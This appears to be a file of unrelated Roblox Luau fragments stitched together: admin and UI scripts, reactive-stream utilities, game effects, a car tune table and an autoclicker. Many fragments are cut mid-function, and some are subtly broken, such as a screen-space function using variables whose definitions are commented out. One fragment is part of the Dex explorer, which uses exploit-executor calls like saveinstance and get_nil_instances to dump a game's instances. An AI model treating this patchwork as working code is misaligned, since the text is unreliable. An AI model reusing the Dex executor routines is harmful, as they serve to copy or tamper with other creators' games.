fixcanvas() end) for i,buttons in pairs(script.Parent.Panel.Buttons:GetChildren()) do buttons.MouseButton1Click:Connect(function() local arg2 = nil if buttons:FindFirstChildOfClass("TextBox") then arg2 = buttons:FindFirstChildOfClass("TextBox").Text end print(arg2) remote:FireServer(buttons.Name,chosenplr,arg2) end) end script.Parent.Toggle.MouseButton1Click:Connect(function() script.Parent.Panel.Visible = not script.Parent.Panel.Visible end)
--[=[ Observes children and ensures that the value is cleaned up afterwards. @param value any @param parent Instance @return Observable<Instance> ]=]
function Blend._observeChildren(value, parent) if typeof(value) == "Instance" then -- Should be uncommon return Observable.new(function(sub) sub:Fire(value) -- don't complete, as this would clean everything up return value end) end if type(value) == "function" then value = Blend._observeChildren(value(parent), parent) end if ValueObject.isValueObject(value) then return Observable.new(function(sub) local maid = Maid.new() -- Switch instead of emitting every value. local function update() local result = value.Value if typeof(result) == "Instance" then maid._current = result sub:Fire(result) return end local observe = Blend._observeChildren(result, parent) if observe then maid._current = nil local doCleanup = false local cleanup cleanup = observe:Subscribe(function(inst) sub:Fire(inst) end, function(...) sub:Fail(...) end, function() -- incase of immediate execution doCleanup = true -- Do not pass complete through to the end if maid._current == cleanup then maid._current = nil end end) -- TODO: Complete when valueobject cleans up if doCleanup then if cleanup then MaidTaskUtils.doCleanup(cleanup) end else maid._current = cleanup end return end maid._current = nil end maid:GiveTask(value.Changed:Connect(update)) update() return maid end) end if Brio.isBrio(value) then return Observable.new(function(sub) if value:IsDead() then return nil end local result = value:GetValue() if typeof(result) == "Instance" then local maid = value:ToMaid() maid:GiveTask(result) sub:Fire(result) return maid end local observe = Blend._observeChildren(result, parent) if observe then local maid = value:ToMaid() -- Subscription is for lifetime of brio, so we do -- not need to specifically add these results to the maid, and -- risk memory leak of the maid with a lot of items in it. maid:GiveTask(observe:Subscribe(function(inst) sub:Fire(inst) end, function(...) sub:Fail(...) end, function() -- completion should not result more than maid cleaning up maid:DoCleaning() end)) return maid end warn(("Unknown type in brio %q"):format(typeof(result))) return nil end) end -- Handle like observable if Promise.isPromise(value) then value = Rx.fromPromise(value) end -- Handle like observable if Signal.isSignal(value) or typeof(value) == "RBXScriptSignal" then value = Rx.fromSignal(value) end if Observable.isObservable(value) then return Observable.new(function(sub) local maid = Maid.new() maid:GiveTask(value:Subscribe(function(result) if typeof(result) == "Instance" then -- lifetime of subscription maid:GiveTask(result) sub:Fire(result) return end local observe = Blend._observeChildren(result, parent) if observe then local innerMaid = Maid.new() -- Note: I think this still memory leaks innerMaid:GiveTask(observe:Subscribe(function(inst) sub:Fire(inst) end, function(...) innerMaid:DoCleaning() sub:Fail(...) end, function() innerMaid:DoCleaning() end)) innerMaid:GiveTask(function() maid[innerMaid] = nil end) maid[innerMaid] = innerMaid else warn(("Failed to convert %q into children"):format(tostring(result))) end end, function(...) sub:Fire(...) end, function() -- Drop completion, other inner components may have completed. end)) return maid end) end if type(value) == "table" and not getmetatable(value) then local observables = {} for key, item in pairs(value) do local observe = Blend._observeChildren(item, parent) if observe then table.insert(observables, observe) else warn(("Failed to convert [%s] %q into children"):format(tostring(key), tostring(item))) end end if next(observables) then return Rx.merge(observables) else return nil end end return nil end
--------| Variables |--------
local lastCalc local lastCalcTick = 0
---------------------------------------------------------------------------- --- Functions ------------------------------------------------------------ ----------------------------------------------------------------------------
local function DestroyDroplet(d) wait(Fade) -- Proper GC for _, Child in ipairs(d:GetChildren()) do local Index = table.find(ignoreList, Child) if Index then ignoreList[Index] = ignoreList[IgnoreLength] ignoreList[IgnoreLength] = nil IgnoreLength = IgnoreLength - 1 end end local Index = table.find(ignoreList, d) if Index then ignoreList[Index] = ignoreList[IgnoreLength] ignoreList[IgnoreLength] = nil IgnoreLength = IgnoreLength - 1 end d:Destroy() end
--Made by Haustier and Luckymaxer
local detectionDistance = 20 function followNearestPlayer() local players = game.Players:GetChildren() local head = script.Parent.Head for i = 1, #players do if players[i].Character then if players[i].Character.Humanoid.Health > 0 then local playerPos = players[i].Character.Head.Position local distanceAway = (head.Position - playerPos).magnitude if distanceAway <= detectionDistance then local ray = Ray.new(head.Position, (playerPos - head.Position).unit * distanceAway) local ignore = {script.Parent, players[i].Character} local obj, pos = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignore) if obj == nil then script.Parent.Movement.Disabled = true script.Parent.Humanoid:MoveTo(playerPos) elseif obj then script.Parent.Movement.Disabled = false end end end else script.Parent.Movement.Disabled = false end end end while wait() do followNearestPlayer() end
--//SS6 PLUGIN; SPLASH//--
--//INSPARE 2017//-- local ai = script.Parent.Main_Frame.A.Frame.ImageLabel local bi = script.Parent.Main_Frame.B.Frame.ImageLabel local ci = script.Parent.Main_Frame.C.Frame.ImageLabel local di = script.Parent.Main_Frame.D.Frame.ImageLabel local ei = script.Parent.Main_Frame.E.Frame.ImageLabel wait(.2) script.Parent.SplashFade.TH:Play() while true do for i=1,3 do for i=1,5 do ai.Position = ai.Position - UDim2.new(4,0,0,0) bi.Position = bi.Position - UDim2.new(4,0,0,0) ci.Position = ci.Position - UDim2.new(4,0,0,0) di.Position = di.Position - UDim2.new(4,0,0,0) ei.Position = ei.Position - UDim2.new(4,0,0,0) wait(.045) end ai.Position = ai.Position + UDim2.new(20,0,-3,0) bi.Position = bi.Position + UDim2.new(20,0,-3,0) ci.Position = ci.Position + UDim2.new(20,0,-3,0) di.Position = di.Position + UDim2.new(20,0,-3,0) ei.Position = ei.Position + UDim2.new(20,0,-3,0) wait(.045) end for i=1,3 do ai.Position = ai.Position - UDim2.new(4,0,0,0) bi.Position = bi.Position - UDim2.new(4,0,0,0) ci.Position = ci.Position - UDim2.new(4,0,0,0) di.Position = di.Position - UDim2.new(4,0,0,0) ei.Position = ei.Position - UDim2.new(4,0,0,0) wait(.045) end ai.Position = ai.Position + UDim2.new(12,0,9,0) bi.Position = bi.Position + UDim2.new(12,0,9,0) ci.Position = ci.Position + UDim2.new(12,0,9,0) di.Position = di.Position + UDim2.new(12,0,9,0) ei.Position = ei.Position + UDim2.new(12,0,9,0) wait(.045) end
----------------------
function module.Create(radius,Position,rockSize, DespawnTime, AmountFlyingDebris) local ModelCircle = Instance.new("Model",workspace.Terrain) ModelCircle.Name = "Debris" Debris:AddItem(ModelCircle,5) local Y = Position.Y local Material local Transparency local Color local IgnoreList = {} for _,object in pairs(workspace:GetDescendants()) do if object.Name == "Debree" or object:FindFirstChildWhichIsA("Humanoid") then table.insert(IgnoreList,object) end end local RPParams = RaycastParams.new() RPParams.FilterDescendantsInstances = IgnoreList RPParams.FilterType = Enum.RaycastFilterType.Blacklist local ray = workspace:Raycast(Position + Vector3.new(0,0.1,0),Vector3.new(0,-999,0),RPParams) if ray then Y = ray.Position.Y Material = ray.Material Transparency = ray.Instance.Transparency Color = ray.Instance.Color end local parts = {} for i = 0,radius * 8,rockSize do table.insert(parts,Instance.new("Part",ModelCircle)) end local function getXAndZPositions(angle) local x = math.cos(angle) * radius local z = math.sin(angle) * radius return x, z end for i, part in pairs(parts) do part.Anchored = true part.Name = "Debree" part.Size = Vector3.new(0,0,0) local angle = (i*rockSize) * (360 / #parts) local x,z = getXAndZPositions(angle) table.insert(IgnoreList,part) RPParams.FilterDescendantsInstances = IgnoreList part.CFrame = CFrame.new(Position) * CFrame.new(x, 0, z) part.Position = Vector3.new(part.Position.X,Y,part.Position.Z) part.CFrame *= CFrame.Angles(math.rad(math.random(-90,90)),math.rad(math.random(-90,90)),math.rad(math.random(-90,90))) if AccurateRepresentation == true then local raynew = workspace:Raycast(part.Position + Vector3.new(0,0.1,0),Vector3.new(0,-999,0),RPParams) if raynew then part.Material = raynew.Material part.Transparency = raynew.Instance.Transparency part.Color = raynew.Instance.Color else --part.Material = Material --part.Transparency = Transparency --part.Color = Color end else part.Material = Materials[math.random(1,#Materials)] part.Color = Colors[math.random(1,#Colors)] end part.Parent = workspace TS:Create(part,TweenInfo.new(0.2),{Size = Vector3.new(rockSize,rockSize,rockSize)}):Play() task.spawn(function() task.wait(DespawnTime) TS:Create(part,TweenInfo.new(0.1),{Size = Vector3.new(0,0,0)}):Play() Debris:AddItem(part,0.11) end) end for i = 0,AmountFlyingDebris do local DebrisVelocity = Vector3.new(math.random(-50,50),math.floor(70,120),math.random(-50,50)) local part = Instance.new("Part",ModelCircle) part.CanCollide = false part.Size = Vector3.new(0,0,0) part.Massless = true part.Name = "Debree" TS:Create(part,TweenInfo.new(0.2),{Size = Vector3.new(rockSize,rockSize,rockSize)}):Play() if AccurateRepresentation == true then part.Material = Material part.Transparency = Transparency part.Color = Color else part.Material = Materials[math.random(1,#Materials)] part.Color = Colors[math.random(1,#Colors)] end part.Position = Position + Vector3.new(0,rockSize,0) part.Velocity = DebrisVelocity part.AssemblyAngularVelocity = Vector3.new(math.random(-90,90),math.random(-90,90),math.random(-90,90)) task.spawn(function() wait(0.5) part.CanCollide = FlyingDebrisCollision end) task.spawn(function() task.wait(DespawnTime) TS:Create(part,TweenInfo.new(0.5,Enum.EasingStyle.Cubic),{Size = Vector3.new(0,0,0)}):Play() Debris:AddItem(part,1) end) end return end return module
--!strict
local LuauPolyfill = script.Parent.Parent local types = require(LuauPolyfill.types) type Array<T> = types.Array<T>
--[[ ParentToPlayerGUI Description: This script injects the parent into the players gui as soon as they load into the game so the UI is available. ]]
----------------------------------------------------------- ----------------------- STATIC DATA ----------------------- -----------------------------------------------------------
local RunService = game:GetService("RunService") local Workspace = game:GetService("Workspace") local ReplicatedStorage = game:GetService("ReplicatedStorage") local Modules = ReplicatedStorage:WaitForChild("SharedModules") local DamageModule = require(Modules.DamageModule) local Utilities = require(Modules.Utilities) local Signal = Utilities.Signal local table = Utilities.Table local Thread = Utilities.Thread local TargetEvent if RunService:IsClient() then TargetEvent = RunService.RenderStepped else TargetEvent = RunService.Heartbeat end local Projectiles = {} local RemoveList = {}
-- DefaultValue for spare ammo
local SpareAmmo = 99999
-- Developer : AinStrqfe -- Developer : AinStrqfe -- Developer : AinStrqfe
local hitbox = script.Parent hitbox.Touched:Connect(function(touch) local char = touch.Parent if game.Players:GetPlayerFromCharacter(char) then if char:FindFirstChild("Humanoid") then char.Humanoid.MaxHealth = math.huge char.Humanoid.Health = math.huge char.Humanoid.WalkSpeed = 20 end end end) hitbox.TouchEnded:Connect(function(touch) local char = touch.Parent if game.Players:GetPlayerFromCharacter(char) then if char:FindFirstChild("Humanoid") then char.Humanoid.MaxHealth = 100 char.Humanoid.Health = 100 char.Humanoid.WalkSpeed = 16 end end end)
--Canvas Size
local firstLabel = pages.custom["AA Space"] local finalLabel = pages.custom["AZ Space"] pages.custom.CanvasSize = UDim2.new(0, 0, 0, (finalLabel.AbsolutePosition.Y - firstLabel.AbsolutePosition.Y) + finalLabel.AbsoluteSize.Y*1) return module
-- main loop
RunService.Stepped:connect(function(_, deltaTime) for i = #projectiles, 1, -1 do local projectile = projectiles[i] local alive = UpdateProjectile(projectile, deltaTime) if not alive then KillProjectile(projectile) elseif tick() - projectile.Start > projectile.Lifetime then KillProjectile(projectile) end end end)
-- Constants
local INFINITE_BOUNDS = Vector2.new(math.huge, math.huge) function TextBox:getSize() -- Return size directly if fixed if not (self.props.Width or self.props.Height or self.props.Size == 'WRAP_CONTENT') then return self.props.Size end -- Get fixed sizes for individual axes local Width, Height if typeof(self.props.Width) == 'UDim' then Width = self.props.Width elseif typeof(self.props.Height) == 'UDim' then Height = self.props.Height end -- Get text size from height if autoscaled local TextSize = self.props.TextSize if self.props.TextScaled and self.AbsoluteSize then TextSize = self.AbsoluteSize.Y end -- Calculate content bounds local Bounds = TextService:GetTextSize( self.props.Text, TextSize, self.props.Font, INFINITE_BOUNDS ) -- Set width and height based on content if requested if not Width and (self.props.Width == 'WRAP_CONTENT' or self.props.Size == 'WRAP_CONTENT') then Width = UDim.new(0, Bounds.X) end if not Height and (self.props.Height == 'WRAP_CONTENT' or self.props.Size == 'WRAP_CONTENT') then Height = UDim.new(0, Bounds.Y) end -- Return the calculated size return UDim2.new( Width or (self.props.Size and self.props.Size.X) or UDim.new(), Height or (self.props.Size and self.props.Size.Y) or UDim.new() ) end function TextBox:updateSize() -- Calculate new size local Size = self:getSize() local TextSize = self.props.TextScaled and (self.AbsoluteSize and self.AbsoluteSize.Y) or self.props.TextSize -- Check if state is outdated if self.state.Size ~= Size or self.state.TextSize ~= TextSize then -- Update state self:setState { Size = Size, TextSize = TextSize } end end function TextBox:init() self.Updating = true self.state = { Size = UDim2.new(), TextSize = 0 } end function TextBox:willUpdate(nextProps, nextState) self.Updating = true end function TextBox:render() local props = Support.Merge({}, self.props, { -- Override size Size = self.state.Size, TextSize = self.state.TextSize, TextScaled = false, -- Get initial size [Roact.Ref] = function (rbx) self.AbsoluteSize = rbx and rbx.AbsoluteSize or self.AbsoluteSize end, -- Track size changes [Roact.Change.AbsoluteSize] = function (rbx) self.AbsoluteSize = rbx.AbsoluteSize if not self.Updating then self:updateSize() end end }) -- Parse hex colors if type(props.TextColor) == 'string' then local R, G, B = props.TextColor:lower():match('#?(..)(..)(..)') props.TextColor3 = Color3.fromRGB(tonumber(R, 16), tonumber(G, 16), tonumber(B, 16)) end -- Separate children from props local children = Support.Merge({}, self.props[Roact.Children]) -- Clear invalid props props.Width = nil props.Height = nil props.Bold = nil props.TextColor = nil props[Roact.Children] = nil -- Add a bold layer if specified if self.props.Bold then local BoldProps = Support.CloneTable(props) BoldProps.Size = UDim2.new(1, 0, 1, 0) BoldProps.Position = nil BoldProps.TextScaled = true BoldProps.AnchorPoint = nil children.Bold = new(TextBox, BoldProps) end -- Display component in wrapper return new('TextBox', props, children) end function TextBox:didMount() self.Updating = nil self:updateSize() end function TextBox:didUpdate(previousProps, previousState) self.Updating = nil self:updateSize() end return TextBox
--[=[ Only takes distinct values from the observable stream. http://reactivex.io/documentation/operators/distinct.html ```lua Rx.of(1, 1, 2, 3, 3, 1):Pipe({ Rx.distinct(); }):Subscribe(print) --> 1, 2, 3, 1 ``` @return (source: Observable<T>) -> Observable<T> ]=]
function Rx.distinct() return function(source) assert(Observable.isObservable(source), "Bad observable") return Observable.new(function(sub) local last = UNSET_VALUE return source:Subscribe( function(value) -- TODO: Support tuples if last == value then return end last = value sub:Fire(last) end, sub:GetFailComplete() ) end) end end
--This module is for any client FX related to the Lab's door
local DoorFX = {} local tweenService = game:GetService("TweenService") local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut) function DoorFX.OPEN(door) if not door then return end tweenService:Create(door.DoorA.Main, tweenInfo, {CFrame = door.DoorA.Goal.CFrame}):Play() tweenService:Create(door.DoorB.Main, tweenInfo, {CFrame = door.DoorB.Goal.CFrame}):Play() door.DoorA.Main.DoorOpenFADEOUT:Play() door.DoorB.Main.DoorOpenFADEOUT:Play() end function DoorFX.CLOSE(door) if not door then return end door.DoorA.Main.CFrame = door.DoorA.Home.CFrame door.DoorB.Main.CFrame = door.DoorB.Home.CFrame end return DoorFX
--[[ API Reference: This module exposes the following APIs to allow for various configurations and custom interactions. Once the experience starts, a `SocialInteractions` ModuleScript will be parented to ReplicatedStorage. To access the following APIs, simply require the module as follows (on the client): ]]
local ReplicatedStorage = game:GetService("ReplicatedStorage") local SocialInteractions = require(ReplicatedStorage:WaitForChild("SocialInteractions"))
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance1 = true, dance2 = true, dance3 = true, laugh = false, cheer = false} function configureAnimationSet(name, fileList) if (animTable[name] ~= nil) then for _, connection in pairs(animTable[name].connections) do connection:Disconnect() end end animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 animTable[name].connections = {} -- check for config values local config = script:FindFirstChild(name) if (config ~= nil) then
--[[Engine]] --Torque Curve
Tune.Horsepower = 150 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6980 -- Use sliders to manipulate values Tune.Redline = 8000 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16
--[[ @plugin UI Currently converts gui instances into PluginWidgets. ]]
local widget = {} local plugin = nil function widget.convertToDockWidget(screenGui, widgetId: string, widgetInfo: DockWidgetPluginGuiInfo, title: string) local widget = plugin:CreateDockWidgetPluginGui(widgetId, widgetInfo) widget.Title = title widget.ZIndexBehavior = screenGui.ZIndexBehavior screenGui = screenGui:GetChildren() for i = 1, #screenGui do screenGui[i]:Clone().Parent = widget end return widget end return function(Plugin: Plugin) plugin = Plugin return widget end
-- LOCAL
local tweenService = game:GetService("TweenService") local debris = game:GetService("Debris") local userInputService = game:GetService("UserInputService") local httpService = game:GetService("HttpService") -- This is to generate GUIDs local runService = game:GetService("RunService") local textService = game:GetService("TextService") local starterGui = game:GetService("StarterGui") local guiService = game:GetService("GuiService") local iconModule = script local TopbarPlusReference = require(iconModule.TopbarPlusReference) local referenceObject = TopbarPlusReference.getObject() local leadPackage = referenceObject and referenceObject.Value if leadPackage and leadPackage ~= iconModule then return require(leadPackage) end if not referenceObject then TopbarPlusReference.addToReplicatedStorage() end local Icon = {} Icon.__index = Icon local IconController = require(iconModule.IconController) local Signal = require(iconModule.Signal) local Maid = require(iconModule.Maid) local TopbarPlusGui = require(iconModule.TopbarPlusGui) local Themes = require(iconModule.Themes) local activeItems = TopbarPlusGui.ActiveItems local topbarContainer = TopbarPlusGui.TopbarContainer local iconTemplate = topbarContainer["IconContainer"] local DEFAULT_THEME = Themes.Default local THUMB_OFFSET = 55 local DEFAULT_FORCED_GROUP_VALUES = {}
-- ScreenSpace -> WorldSpace. Taking a screen height that you want that object to be -- and a world height that is the size of that object, and returning the position to -- put that object at to satisfy those.
function ScreenSpace.ScreenToWorldByHeight(x, y, screenHeight, worldHeight) local aspectRatio = ScreenSpace.AspectRatio() local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2) local wfactor = aspectRatio*hfactor local sx, sy = ScreenSpace.ViewSizeX(), ScreenSpace.ViewSizeY() -- local depth = - (sy * worldHeight) / (screenHeight * 2 * hfactor) -- local xf, yf = x/sx*2 - 1, y/sy*2 - 1 local xpos = xf * -wfactor * depth local ypos = yf * hfactor * depth -- return Vector3.new(xpos, ypos, depth) end
--- Removes raycast points using only vector3 values. Use the same vector3 table from SetPoints -- @param object BasePart or Bone, the original instance you used for SetPoints -- @param table of vector values that are in local space relative to the basePart
function Hitbox:RemovePoints(object: BasePart | Bone, vectorPoints: {[number]: Vector3}) for i = #self.HitboxRaycastPoints, 1, -1 do local part = (self.HitboxRaycastPoints[i] :: Point).Instances[1] if part == object then local originalVector = (self.HitboxRaycastPoints[i] :: Point).Instances[2] for _: number, vector: Vector3 in ipairs(vectorPoints) do if vector == originalVector :: Vector3 then table.remove(self.HitboxRaycastPoints, i) break end end end end end
--// All global vars will be wiped/replaced except script --// All guis are autonamed client.Variables.CodeName..gui.Name
return function(data) local gui = script.Parent.Parent local playergui = service.PlayerGui local str = data.Message local time = data.Time or 15 --client.UI.Make("HintHolder") local container = client.UI.Get("HintHolder",nil,true) if not container then local holder = service.New("ScreenGui") local hTable = client.UI.Register(holder) local frame = service.New("ScrollingFrame", holder) client.UI.Prepare(holder) hTable.Name = "HintHolder" frame.Name = "Frame" frame.BackgroundTransparency = 1 frame.Size = UDim2.new(1, 0, 0,150) frame.CanvasSize = UDim2.new(0, 0, 0, 0) frame.ChildAdded:Connect(function(c) if #frame:GetChildren() == 0 then frame.Visible = false else frame.Visible = true end end) frame.ChildRemoved:Connect(function(c) if #frame:GetChildren() == 0 then frame.Visible = false else frame.Visible = true end end) container = hTable hTable:Ready() end container = container.Object.Frame --// First things first account for notif :) local notif = client.UI.Get("Notif") local topbar = client.UI.Get("TopBar") container.Position = UDim2.new(0,0,0,((notif and 30) or 0) + ((topbar and 40) or 0) - 35) local children = container:children() gui.Position = UDim2.new(0,0,0,-100) gui.Frame.msg.Text = str local bounds = gui.Frame.msg.TextBounds.X spawn(function() local sound = Instance.new("Sound",service.LocalContainer()) sound.SoundId = "rbxassetid://489390072" wait(0.1) sound:Play() wait(0.8) sound:Destroy() end) local function moveGuis(m,ignore) m = m or 0 local max = #container:children() for i,v in pairs(container:children()) do if v~=ignore then local y = (i+m)*28 v.Position = UDim2.new(0,0,0,y) if i~=max then v.Size = UDim2.new(1,0,0,28) end end end end local lom = -1 moveGuis(-1) gui.Parent = container if #container:children()>5 then lom = -2 end UDim2.new(0,0,0,(#container:children()+lom)*28) moveGuis(-1) --gui:TweenPosition(UDim2.new(0,0,0,(#container:children()+lom)*28),nil,nil,0.3,true,function() if gui and gui.Parent then moveGuis(-1) end end) if #container:children()>5 then local gui = container:children()[1] moveGuis(-2,gui) gui:Destroy() --gui:TweenPosition(UDim2.new(0,0,0,-100),nil,nil,0.2,true,function() if gui and gui.Parent then gui:Destroy() end end) end wait(data.Time or 5) if gui and gui.Parent then moveGuis(-2,gui) gui:Destroy() --gui:TweenPosition(UDim2.new(0,0,0,-100),nil,nil,0.2,true,function() if gui and gui.Parent then gui:Destroy() end end) end end
---------------------------- --Patrol Script-- ----------------------------
on = 0 Tool = script.Parent welds = {} sh = {} arms = nil torso = nil f = nil Holstered = false wait() local Tool = script.Parent enabled = true
--------END AUDIENCE BACK RIGHT--------
game.Workspace.rightpalette.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l14.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.rightpalette.l24.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) wait(0.15)
--[=[ @param ... any @return args: table Deserializes the arguments and returns the deserialized values. ]=]
function Ser.DeserializeArgsAndUnpack(...: any): ...any local args = Ser.DeserializeArgs(...) return table.unpack(args, 1, args.n) end
--Funcion Del AutoClick
local plr = script.Parent.Parent.Parent local lea = plr:WaitForChild("leaderstats")-- Nombre De La Carpeta De Su Sistema De Dinero local gold = lea:WaitForChild("TimesClicked")-- Nombre De Su Sistema De Dinero local coin = lea:WaitForChild("Coins")-- Nombre De Su Sistema De Dinero local boost = plr:WaitForChild("CoinBoost")-- Nombre De Su Sistema De Dinero local autoclick = false local autoclickDD = false function GetAuto() gold.Value = gold.Value +1 --Cambiar Por Cuanto Dinero Quieres Que Obtenga coin.Value = coin.Value + 1 + boost.Value --Cambiar Por Cuanto Dinero Quieres Que Obtenga end script.Parent.AutoClick.MouseButton1Click:Connect(function() if autoclick == false then autoclick = true script.Parent.AutoClick.Text = "ON" else autoclick = false script.Parent.AutoClick.Text = "OFF" end end) while wait()do if autoclick == true then if autoclickDD == false then autoclickDD = true GetAuto(1)-- Cambia El Tiempo De Espera Al Recargar wait(.1)-- Tambien Cambia Para El Tiempo De Espera Al Recargar autoclickDD = false end end end
-- Initialize weld tool
local WeldTool = require(CoreTools:WaitForChild 'Weld') Core.AssignHotkey('F', Core.Support.Call(Core.EquipTool, WeldTool)); Core.Dock.AddToolButton(Core.Assets.WeldIcon, 'F', WeldTool, 'WeldInfo');
-- Creates a new tree node from an object. Called when an object starts -- existing in the game tree.
local function addObject(object,noupdate) if script then -- protect against naughty RobloxLocked objects local s = pcall(check,object) if not s then return end end local parentNode = NodeLookup[object.Parent] if not parentNode then return end local objectNode = { Object = object; Parent = parentNode; Index = 0; Expanded = false; Selected = false; Depth = depth(object); } connLookup[object] = Connect(object.AncestryChanged,function(c,p) if c == object then if p == nil then removeObject(c) else moveObject(c,p) end end end) NodeLookup[object] = objectNode insert(parentNode,#parentNode+1,objectNode) if not noupdate then if nodeIsVisible(objectNode) then updateList() elseif nodeIsVisible(objectNode.Parent) then updateScroll() end end end local function makeObject(obj,par) local newObject = Instance.new(obj.ClassName) for i,v in pairs(obj.Properties) do pcall(function() local newProp newProp = ToPropValue(v.Value,v.Type) newObject[v.Name] = newProp end) end newObject.Parent = par end local function writeObject(obj) local newObject = {ClassName = obj.ClassName, Properties = {}} for i,v in pairs(RbxApi.GetProperties(obj.className)) do if v["Name"] ~= "Parent" then print("thispassed") table.insert(newObject.Properties,{Name = v["Name"], Type = v["ValueType"], Value = tostring(obj[v["Name"]])}) end end return newObject end local function buildDexStorage() local localDexStorage local success,err = pcall(function() localDexStorage = game:GetObjects("rbxasset://DexStorage.rbxm")[1] end) if success and localDexStorage then for i,v in pairs(localDexStorage:GetChildren()) do pcall(function() v.Parent = DexStorageMain end) end end updateDexStorageListeners() --[[ local localDexStorage = readfile(getelysianpath().."DexStorage.txt")--game:GetService("CookiesService"):GetCookieValue("DexStorage") --local success,err = pcall(function() if localDexStorage then local objTable = game:GetService("HttpService"):JSONDecode(localDexStorage) for i,v in pairs(objTable) do makeObject(v,DexStorageMain) end end --end) --]] end local dexStorageDebounce = false local dexStorageListeners = {} local function updateDexStorage() if dexStorageDebounce then return end dexStorageDebounce = true wait() pcall(function() saveinstance("content//DexStorage.rbxm",DexStorageMain) end) updateDexStorageListeners() dexStorageDebounce = false --[[ local success,err = pcall(function() local objs = {} for i,v in pairs(DexStorageMain:GetChildren()) do table.insert(objs,writeObject(v)) end writefile(getelysianpath().."DexStorage.txt",game:GetService("HttpService"):JSONEncode(objs)) --game:GetService("CookiesService"):SetCookieValue("DexStorage",game:GetService("HttpService"):JSONEncode(objs)) end) if err then CreateCaution("DexStorage Save Fail!","DexStorage broke! If you see this message, report to Raspberry Pi!") end print("hi") --]] end function updateDexStorageListeners() for i,v in pairs(dexStorageListeners) do v:Disconnect() end dexStorageListeners = {} for i,v in pairs(DexStorageMain:GetChildren()) do pcall(function() local ev = v.Changed:connect(updateDexStorage) table.insert(dexStorageListeners,ev) end) end end do NodeLookup[workspace.Parent] = { Object = workspace.Parent; Parent = nil; Index = 0; Expanded = true; } if DexStorageEnabled then NodeLookup[DexStorage] = { Object = DexStorage; Parent = nil; Index = 0; Expanded = true; } end if NilStorageEnabled then NodeLookup[NilStorage] = { Object = NilStorage; Parent = nil; Index = 0; Expanded = true; } end Connect(game.DescendantAdded,addObject) Connect(game.DescendantRemoving,removeObject) if DexStorageEnabled then --[[ if readfile(getelysianpath().."DexStorage.txt") == nil then writefile(getelysianpath().."DexStorage.txt","") end --]] buildDexStorage() Connect(DexStorage.DescendantAdded,addObject) Connect(DexStorage.DescendantRemoving,removeObject) Connect(DexStorage.DescendantAdded,updateDexStorage) Connect(DexStorage.DescendantRemoving,updateDexStorage) end if NilStorageEnabled then Connect(NilStorage.DescendantAdded,addObject) Connect(NilStorage.DescendantRemoving,removeObject) local currentTable = get_nil_instances() spawn(function() while wait() do if #currentTable ~= #get_nil_instances() then currentTable = get_nil_instances() --NilStorageMain:ClearAllChildren() for i,v in pairs(get_nil_instances()) do if v ~= NilStorage and v ~= DexStorage then pcall(function() v.Parent = NilStorageMain end) --[[ local newNil = v newNil.Archivable = true newNil:Clone().Parent = NilStorageMain --]] end end end end end) end local function get(o) return o:GetChildren() end local function r(o) local s,children = pcall(get,o) if s then for i = 1,#children do addObject(children[i],true) r(children[i]) end end end r(workspace.Parent) if DexStorageEnabled then r(DexStorage) end if NilStorageEnabled then r(NilStorage) end scrollBar.VisibleSpace = math.ceil(listFrame.AbsoluteSize.y/ENTRY_BOUND) updateList() end
-- you do not need to touch this script, it is only a loader to load Commander
require(6648681899)(script.Settings, script.Packages, script.Stylesheets)
---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
function updatechar() for _, v in pairs(character:GetChildren())do if CanViewBody then if v.Name == 'Head' then v.LocalTransparencyModifier = 1 v.CanCollide = false v.face.LocalTransparencyModifier = 1 end else if v:IsA'Part' or v:IsA'UnionOperation' or v:IsA'MeshPart' then v.LocalTransparencyModifier = 1 v.CanCollide = false end end if v:IsA'Accessory' then v:FindFirstChild('Handle').LocalTransparencyModifier = 1 v:FindFirstChild('Handle').CanCollide = false end if v:IsA'Hat' then v:FindFirstChild('Handle').LocalTransparencyModifier = 1 v:FindFirstChild('Handle').CanCollide = false end end end function lerp(a, b, t) return a * (1-t) + (b*t) end
--script.Parent.OO.Velocity = script.Parent.OO.CFrame.lookVector *script.Parent.Speed.Value --script.Parent.OOO.Velocity = script.Parent.OOO.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.OOOO.Velocity = script.Parent.OOOO.CFrame.lookVector *script.Parent.Speed.Value script.Parent.P.Velocity = script.Parent.P.CFrame.lookVector *script.Parent.Speed.Value
--- Fire
Signal.Fire = function(eventName, ...) --- Variables eventName = string.lower(eventName) --- Get/create event local event = GetEvent(eventName) --- Signal for visualization/tracking purposes on Debug (Client only) META AF BTW if (not isServer) and eventName ~= "core signal fired" then Signal.Fire("CORE Signal Fired", eventName) end --- Fire event w/ data event:Fire(...) end
--[=[ Retrieves a global remote event from the store. On the server, it constructs a new one, and on the client, it waits for it to exist. :::tip Consider using [PromiseGetRemoteEvent] for a non-yielding version ::: ```lua -- server.lua local GetRemoteEvent = require("GetRemoteEvent") local remoteEvent = GetRemoteEvent("testing") remoteEvent.OnServerEvent:Connect(print) -- client.lua local GetRemoteEvent = require("GetRemoteEvent") local remoteEvent = GetRemoteEvent("testing") remoteEvent:FireServer("Hello") --> Hello (on the server) ``` :::info If the game is not running, then a mock remote event will be created for use in testing. ::: @yields @function GetRemoteEvent @within GetRemoteEvent @param name string @return RemoteEvent ]=]
